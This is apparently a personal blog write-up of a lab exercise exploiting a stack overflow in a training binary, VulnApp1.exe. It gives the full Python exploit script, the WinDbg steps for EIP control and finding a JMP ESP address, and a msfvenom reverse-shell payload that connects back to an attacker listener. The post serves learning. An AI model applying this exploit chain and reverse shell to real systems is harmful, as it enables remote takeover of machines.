Back to Blog
Exploit Development

Exploiting VulnApp1.exe: A Simple Stack Overflow Walkthrough

Exploiting VulnApp1.exe: A Simple Stack Overflow Walkthrough

Exploit Development is tough, I figure the best way to make it all stick is to write down exactly what I learnt. So in this post, I'm walking through a classic stack overflow. We'll look at what's happening and figure out what to do to move forward.

Initial Crash and Fuzzing

To begin, I started the program and attached it to WinDbg to monitor its behavior. The objective was to see if the targeted application is vulnerable to a stack overflow.

I used a simple Python script to send 2,560 (0xA00) bytes of the character "A" to the application.

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]
  port = 7001
  
  buffer = b"A" * 0xA00 
 
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")

This resulted in an access violation. Looking at the registers, we see that the EIP was overwritten with 41414141 (the AAAA's we sent) which confirmed that I could control the EIP and hijack the program's execution flow. EIP Overwritten with 41414141

Finding the EIP offset

To pinpoint the exact EIP offset, I first generated a 3000-byte unique string using msf-pattern_create -l 3000 and then modified the Python script to send this new pattern instead of the bunch of As.

Pattern Create Script

buffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa..."

After running it, our program crashed again. However this time, we see that our EIP holds a different value of 33794332.

EIP Value 33794332

To discover where the offset is, we use msf-pattern_offset -l 3000 -q 33794332 which identified the location of these bytes in the pattern. The result was an exact match at offset 2288.

Pattern Offset Result

This result means we need 2288 bytes of filler (our "A"s), and the next 4 bytes are what will overwrite EIP (which we'll set as "B"s).

Verifying Control and FInding the Shellcode's location

To test this offset, I structured my payload as follows:

filler = b"A" * 2288
 eip = b"B" * 4
 shellcode = b"C" * 700   # Placeholder 
 buffer = filler + eip + shellcode

After getting another access violation, we confirm that we have precise control over EIP.

EIP Overwritten with BBBB

The next step is to find out where our placeholder shellcode (the "C"s) actually landed in memory. This exact address is important because after overwriting EIP, we need the program to jump to this location to run our real payload.

I ran dds esp -10 l5 command to dump 5 lines of memory, starting 16 bytes (0x10) before the address in ESP.

The dump showed ESP was pointing to 03c9ee6c, but our placeholder shellcode began 8 bytes before that, at 03c9ee64.

Shellcode Location Check

To ensure that ESP points directly to the start of our shellcode, we will add 8 bytes of padding after overwriting EIP.

 filler = b"A" * 2288
  eip = b"B" * 4 
  padding = b"C" * 8 
  shellcode = b"D" * 700
  buffer = filler + eip + padding + shellcode

Running the script again, we can now confirm that ESP (03c9ee6c) points directly to our shellcode. ESP Points to Shellcode

Finding space for our shellcode

The next step is to determine how much space we have available for our actual shellcode. To find this, we need to find both the start and end address of the buffer in memory. By looking at the memory dump, we find that the End Address was roughly at 01d0f121 and the Start Address was at 01d0ee6c.

Memory Dump for Space

The calculation, 0x01d0f121 - 0x01d0ee6c, resulted in 693. This meant I had 693 bytes of space for my final payload. (However to be precise I think the actual number is 696)

Testing for bad characters

Before generating our payload, I had to check for any bad bytes that might break my payload. I sent a buffer containing all possible bytes from \x01 to \xff and examined the dump in WinDbg.

Bad Characters Test

We run the command db esp - 10 l110 to "display bytes" (db) for a total length of 272 bytes (l110) , starting from an address 16 bytes (-10) before the address in the ESP register.

Fortunately, it seems that none of these characters were mangled. So we only have to avoid the null byte (\x00) Bad Characters Result

Finding a Return Address

Next up, we find a reliable return address to put into our EIP.

Since our shellcode is sitting on the stack (right where ESP is pointing), our goal is to find a JMP ESP instruction that's already in the VulnApp1.exe's memory. This will let us redirect the program's execution flow right to our payload.

To find this instruction, we first need to know what bytes to search for. Running msf-nasm_shell is a quick way to find the opcode for JMP ESP, which tells us is FFE4.

JMP ESP Opcode

Then, I had to find the memory range for VulnApp1.exe to know where exactly to look for JMP ESP. WinDbg showed it was loaded from 14800000 to 14816000.

Module Memory Range

With all that info, I could hunt for the instruction using the WinDbg search command: s -b 14800000 14816000 0xff 0xe4.

The search returned the address: 148010cf. To confirm, I used u 148010cf to disassemble the code at that location.

JMP ESP Search Results JMP ESP Verification

I then checked to see if we are indeed able to control the execution flow. We replace the B buffer with the JMP ESP instruction address.

filler = b"A" * 2288
 eip = b"\xcf\x10\x80\x14" # 148010cf JMP ESP 
 padding = b"C" * 8
 shellcode = b"D" * 693
 buffer = filler + eip + padding + shellcode

To verify if it actually lands on our new JMP ESP address, we set a breakpoint on it (148010cf) in WinDbg and ran the script again.

The debugger stopped at our breakpoint, and we confirm that we hace succesfully hijacked EIP to execute our chosen address(148010cf)

Our ESP also still points to our placeholder shellcode (the As)

With all that in place, we are now able to start obtaining a reverse shell.

Breakpoint at JMP ESP

Gaining a Shell

Firstly, we run this command to generate a reverse shell shellcode that will connect back to our Metasploit listener if successful.

msfvenom -p windows/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -b "\x00" -f python -v shellcode

We then replace our placeholder shellcode with the actual reverse shellcode data.

filler = b"A" * 2288
 eip = b"\xcf\x10\x80\x14" # 148010cf JMP ESP 
 padding = b"C" * 8
 shellcode = b"" 
 <rest of shellcode>
 buffer = filler + eip + padding + shellcode

Running this script resulted in another access violation instead of a reverse shell. When I looked at the memory in WinDbg, we see that our shellcode was mangled.

Mangled Shellcode

We solve this problem by adding a NOP sled (a string of \x90 bytes), which provides a "landing pad" ensuring that even if the first few bytes were skipped or corrupted, the execution will just "slide" into the actual payload.

  filler = b"A" * 2288
   eip = b"\xcf\x10\x80\x14" #148010cf JMP ESP
   padding = b"C" * 8
   nops = b"\x90" * 10
   shellcode =  b""
   <rest of shellcode>
   buffer = filler + eip + padding + nops + shellcode

With the NOP sled now in place, running the final exploit script was a success. We finally triggered the stack overflow correctly and obtained our reverse shell.

Successful Reverse Shell

Conclusion

That's a wrap on the classic stack overflow. We covered all the important parts, the initial fuzzing, controlling the EIP, finding space for our shellcode and ultimately obtaining a reverse shell.

I hope you find this post useful in helping to understand how simple stack overflows work!

Author's Notes

I'll be honest, this took me way longer to understand than I'd like to admit. I probably would've been stuck for much longer if I didn't write it all down here. It really forces me to get it right when I have to explain it so other people (and I) can understand.

The funny thing was that I actually took about a week just reading theory on stack overflow and stayed pretty confused. But jumping into this lab and writing a walkthrough for it only took me a couple of hours, but I learned more from that than I did from the entire week of theory.